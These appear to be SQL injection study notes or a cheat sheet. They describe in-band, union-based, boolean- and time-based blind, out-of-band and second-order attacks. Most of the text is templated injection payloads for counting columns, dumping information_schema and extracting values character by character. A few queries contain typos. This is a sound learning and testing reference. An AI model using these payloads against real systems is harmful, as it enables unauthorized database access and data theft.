SQL Injection (SQLi) is a common and dangerous web security vulnerability that allows attackers to interfere with the queries an application makes to its database.
It occurs when untrusted input is inserted directly into an SQL query without proper validation or sanitization, enabling the attacker to execute malicious SQL commands.
There are various forms of SQL injection attacks, each targeting different aspects of how SQL queries interact with the database.
In-Band
Refers to the same method of communication being used to exploit the vulnerability and also receive the results.
Union-Based
Use the SQL UNION operator to return additional results to the page, letting the extraction of large amounts of data.
Case 1
Determining the number of columns
$url/query?$column=$value UNION SELECT 1
$url/query?$column=$value UNION SELECT 1,2 #Try with a extra value
$url/query?$column=$value UNION SELECT 1,2,3 #Try Until there's no message error
#This won't show a message error when the number of columns coincides
Change query value
$url/query?$column=$changedvalue UNION SELECT $found
#Change until no results are shown to determine the value
$found is the union value that has been caught in the previous step
Check database name
$url/query?$column=$changedvalue UNION $found,database() #Try to get database
#This will return the name of the DB we are searching
Check information schema for DB and tables information
$url/query?$column=$changedvalue UNION $found,group_concat(table_name) FROM information_schema.tables WHERE table_schema = '$dbfound'
#This will return a string with all tables of the database
the $dbfound value is the result of the previous query
Check information schema for DB and tables information
$url/query?$column=$changedvalue UNION $found,group_concat(colum_name) FROM information_schema.columns WHERE table_name = '$tablefound'
#This will return a string with all columns of the table
Obtain the values that we were looking for
0 UNION SELECT 1,2,group_concat($value1,$value2) FROM $tablefound
#Obtain values from the table we needed
Case 2
Check if vulnerable by sending a malformed petition with '
"GET /about/2' HTTP/1.1"
#We obtain a 500 error and this code
<code>SELECT firstName, lastName, pfpLink, role, bio FROM $tablename WHERE id = 2'</code>
As we know the number of columns, we make a union to select the column_name parameter and leave the other columns as null to avoid error. Then we obtain info from the default DB information_schema and select the column parameter specifying the name of the table we need
#Make the petition to an invalid value (-1) to avoid displaying an entry of the database instead of the column name
/about/-1 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name='$tablename'
About | id None #The result obtained in the response
Use group_concat() to get all columns
/about/-1 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name='$tablename'
About | id,firstName,lastName,pfpLink,role,shortRole,bio,$columname None #The result obtained in the response
Obtain the required information from the table
/about/-1 UNION ALL SELECT $columname,null,null,null,null FROM $tablename WHERE id = 1
#The response is the information that we were looking for
Error-Based
Obtaining information about the database structure as error messages from the database are printed directly to the browser screen.
Blind (Inferential)
Results of the attack can't directly be seen on the screen, we get little to no feedback to confirm whether our injected queries were.
Boolean Based
Use the response we receive back from our injection if this only has two outcomes
Check if the page has verification queries
$url/$query?$column=$value
Use union injection until the state changes
$url/query?$column=$changedvalue' UNION SELECT 1;
$url/query?$column=$changedvalue' UNION SELECT 1,2; #Try with a extra value
$url/query?$column=$changedvalue' UNION SELECT 1,2,3; #Try Until the result change
#This will determine the number of columns
Find database name by iteration
$url/query?$column=$changedvalue' UNION SELECT $found where database() like '%';
#The value % will match anything true
$url/query?$column=$changedvalue' UNION SELECT $found where database() like 'a%'; #Try a
$url/query?$column=$changedvalue' UNION SELECT $found where database() like 'b%'; #Try b
#Repeat with every letter until found a value that gets true
$url/query?$column=$changedvalue' UNION SELECT $found where database() like '$lettera%';
#Make the same process for the next value
$url/query?$column=$changedvalue' UNION SELECT $found where database() LIKE '$letter$letter2a$%';
#Repeat until all DB names have been found
$found is the union value that has been caught in the previous step
$letter is the value that returns true in each iteration
Find Table name by iteration
$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name LIKE 'a%';
#Repeat until found all table names
Find column by iteration
$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name = 'table' and column_name LIKE 'a%';
#Make an iterative process to find the column name
Find objective value
$url/query?$column=$changedvalue' FROM $table_found WHERE %column_found LIKE 'a%';
#Make an iterative process to find the value needed
Handle of value exceptions
If at any point of iteration, you found a value that you don't need to get you must exclude it to restringe your injection
$url/query?$column=$changedvalue' UNION $found FROM information_schema.tables WHERE table_schema = '$dbfound' and and tablename != $notobjective and $table_name LIKE 'a%';
$notobjectiverefers to the value that we found but we don't need
Time-Based
Make use of the time a response is generated to the request to determine if the query value was found or not. It is used when we don't get a visual return to the injection.
Determining the number of columns
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time);
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),2;
#Try until the petition time is different
The time of an error request is always less than a correct query
Make a Boolean-based iterative process to map DB, tables, and columns you need
#Find DB name, table, and column by an iterative process using sleep
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),$found FROM information_schema.tables WHERE table_schema = '$dbfound' and table_name = 'table' and column_name LIKE '%';
#The values of each step are dictated by the time the response is sent
Make Boolean based iterative process to find the value you need
#Find DB name, table, and column by an iterative process using sleep
$url/query?$column=$changedvalue' UNION SELECT SLEEP($time),$found FROM $table_found WHERE $column_found
Out Of Band
Depends on the DB feature of making some kind of external network call based on the results from an SQL query. Is classified by having two different communication channels:
One to launch the attack where the SQLi can be done to send a query
The other is to gather the results by intercepting responses from a database or another external service
Second-Order (Stored)
In this scenario, the attacker injects malicious data into the system that is not immediately executed but is stored and later used by the application. The SQL injection occurs at a later time when the data is used in another query.